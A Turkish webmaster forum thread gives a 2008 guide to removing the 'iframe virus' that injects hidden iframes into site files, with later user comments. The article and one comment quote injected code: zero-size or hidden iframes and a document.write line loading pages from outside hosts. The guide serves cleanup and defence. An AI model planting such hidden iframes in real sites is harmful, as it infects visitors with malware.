İframe Virüsü (Çözüm) - Sayfa 8 - Google Fan Webmaster Forum
Google Fan Webmaster Forum  
herşeyi sana yazdım

Geri git   Google Fan Webmaster Forum > R10 Webmaster Kütüphanesi > Articles
KEY
Kayıt ol Articles Sosyal Gruplar Forumları Okundu Kabul Et

R10 Bilgi Arşivi Önemli Bilgilerin ve Paylaşımın Yapıldığı arşivlik konular bölümü. Yaşadığınız sorunu sizden önce birileri mutlaka yaşamıştır.Lütfen ilk buraya göz atın

Cevapla
 
LinkBack Article Tools
  #1  
Alt
Ntie - ait Kullanıcı Resmi (Avatar)
Ntie Ntie isimli üyemiz çevrimdışıdır. (Offline)
Gürcan Tansu Ayçiçek
Üyelik tarihi: 17-07-2006
Feedback Score: 109 Olumlu
Arrow İframe Virüsü (Çözüm)
yazan Ntie 29-12-2008, 17:00:58

Webmasterların çoğunun baş belası olan iframe (ac66.cn) virüsü olarak bilinen bu virüs ftp'nizdeki bütün dosyalara
PHP- Kodu:
<iframe src='http:/logo/index.php' style='border:0px solid  gray;' WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0  SCROLLING=no></iframe
veya
PHP- Kodu:
<iframe src="http://*****.cn/in/" width=1 height=1 style="visibility:  hidden"></iframe
Şeklinde yerleşerek siteye giren kullanıcılara bulaşır.
Bu virüs cuteftp programı ile geldiği öne sürülürken bazı kişiler ise codec gereksimi duyulduğunda bazı programların codec sitelerine yönlendirip virüs indirttiğinide iddaa etmektedir.

Virüs Bir şekilde Bilgisayarınıza bulaştı ve sitenizdeki 2000 tane php veya html dosyanızın içine iframe olarak yerleşti ne yapmanız gerekmektedir. ?

İlk önce bilgisayarınızdan başlamanız gerekmektedir. Bu yüzden Virüs programlarından başlayalm. Önce trojen programını indirin.
Ben kendi kullandığım programları yazacağım.
a-squared'in free versiyonunu kurunuz.


Download
Bu programı kurduktan sonra güncelleştirmelerini yapınız. Ve güncelleştirmeler bittikten sonra türkçe dil desteğide geliyor, dili türkçe yaparak derin tarama seçeneğini seçin ve taramayı başlatın. Çıkan virüsleri temizleyin.
Trojen programından sonra
KasperSky Anti Virüs 2009 Türkçe (30 gün Shareware)


Download

Kurduktan sonra güncelleştirmeleri yapın ve bilgisayarınızı taratın.

Bilgisayardaki virüsleri temizledikten sonra
2. işleme geçiyoruz. Sitenizin paneline girin ve ftp şifrelerinizi değiştirin bu çok önemli çünkü bir kere ftp şifreleriniz kayıt altına alındı ve virüsleri siz temizledikten sonra tekrar geri atabilir. Bu sebeple ikinci işlem olarak ftp şifrenizi değiştiriniz.

3. İşlem Sitenizdeki bütün sayfaları bilgisayarınıza indirin.
Sayfalarınızın hepsinin içerisinde <iframe .... gibi yazılar bulunuyor bu yazıları hepsini tek tek açıp heleki 2500 gibi bir rakamsa editlemek zor olacaktır. Bu yüzden bu kadar uğraşa girmemek için Advanced Find And Replace programını indiriyoruz.



Download (21 gün kullanımlı)

Bu programı genelde spamcılar kullanır ama bizim için çok önemli bir program konumunda şuanda.

Kullanımı resimlerle anlatmaya çalışayım hemen.

Kurulumu yaptıktan sonra programı açıyoruz.
1. işlem




2 işlem


Execute'ye bastığınızda karşınıza bir ekran gelecek ve orda Yes To ALL'ı tıklayın.

Bu işlemlerden sonra ftp'inize dosyalarınızı güvenle atabilirsiniz.
__________________
UYARI :
  • Adsense ve Adwords kupon alım/satış işlemleri yasaktır.
  • 10TL altı itrader gönderimi yasaktır.
Alıntı ile Cevapla
Görüntüleme 15533 Comments 79
Total Comments 79

Comments

  71  
Alt 02-05-2010, 22:14:42
 
Standart

İlk olarak konu için teşekkürler, bu sayede temizlemiştim. Yalnız Kaspersky halen sitede virüs buluyor benim, Norton SafeWeb bakıyorum güvenilir site diyor.
__________________
OPC
Alıntı ile Cevapla
  72  
Alt 02-05-2010, 22:36:13
Eposta Aktivasyonu Gerekmekte
 
Standart

bu iframe virüsünden az çekmedim
Alıntı ile Cevapla
  73  
Alt 05-05-2010, 14:59:43
Üyeliği durduruldu
 
Standart

ya bu çıldırtır ya
Alıntı ile Cevapla
  74  
Alt 25-05-2010, 18:25:04
 
Standart

anlatım çok mükemmel söylenecek bir kelime var oda hizmet nimettir emeğine sağlık
Alıntı ile Cevapla
  75  
Alt 30-05-2010, 14:37:36
 
Standart

Cok Tesekkurler
__________________
PHP- Kodu:
Ufle Gunesi Sonsun Kalbim Karakısın Ayazina Donsun Azrailim Opsun Tek Donumsun Omrum 
Alıntı ile Cevapla
  76  
Alt 18-01-2011, 10:51:06
 
Standart

Arkadaşlar yardımınıza ihtiyacım var..Bu virüs benim sitelerimede bulaştı.Advanced find replace programı ile gerekli işlemleri yaptım.Fakat şöyle bir hata alıyorum..Sitem açılmıyor..

Hata mesajı : Parse error: syntax error, unexpected T_STRING in /home/director/public_html/siteadı/index.php on line 85

Yardımcı olursanız sevinirim..
__________________
[URL="http://www.rehbertercume.com"tercüme bürosu[/URL]
Alıntı ile Cevapla
  77  
Alt 18-01-2011, 17:43:15
 
Standart

dreamweaver mx te
klasör seçip,
find and replace ayapabilirsin

ben öyle temizlemiştim.

birde index dosyalarını "read only" yap temizledikten sonra.
Alıntı ile Cevapla
  78  
Alt 18-01-2011, 19:29:56
Üyeliği durduruldu
 
Standart

teşekkürler.
Alıntı ile Cevapla
  79  
Alt 18-01-2011, 22:07:14
 
Standart

çok işime yaradı sağolasın belkide 2-3 yıldan fazla duran tüm iframeli dosyaları temizledim.
__________________
GencKafe.Net - Referanslar
Alıntı ile Cevapla
  80  
Alt 03-03-2011, 10:45:45
 
Standart

arkadaşlar 1.

Alıntı:
document.write ('<font id=font><iframe name="iFrame1" src="http://www.raptorsrepublic.com/forums/packages/vbforum/attach/img/ltlreltllltllltltlrlllllltllllt/a.html" frameborder="0" width="0" scrolling="no" height="0"></iframe></font>');
bu iframe virüsümüdür?

2. ben ftpden dosyaları rar olarakmı çekeceğim.
Alıntı ile Cevapla
Cevapla


Bookmarks

Article Tools

Yetkileriniz
Konu Acma Yetkiniz Yok
Cevap Yazma Yetkiniz Yok
Eklenti Yükleme Yetkiniz Yok
Mesajınızı Değiştirme Yetkiniz Yok

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodu Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Açık



Tüm Zamanlar GMT +3 Olarak Ayarlanmış. Şuanki Zaman: 05:24:15.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.

“İnsanların en hayırlısı, insanlara faydalı olandır”. H.Ş

Hosting by Radore Hosting

İçerik sağlayacı paylaşım sitelerinden biri olan R10.net WebMaster Forum Adresimizde 5651 Sayılı Kanun’un 8. Maddesine ve T.C.K’nın 125. Maddesine göre TÜM ÜYELERİMİZ yaptıkları paylaşımlardan sorumludur. R10.net hakkında yapılacak tüm hukuksal Şikayetler adresi ile iletişime geçilmesi halinde ilgili kanunlar ve yönetmelikler çerçevesinde en geç 1 (Bir) Hafta içerisinde R10.net yönetimi olarak tarafımızdan gereken işlemler yapılacak ve Avukatlarımız size dönüş yapacaktır.
ARGUS_OK

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252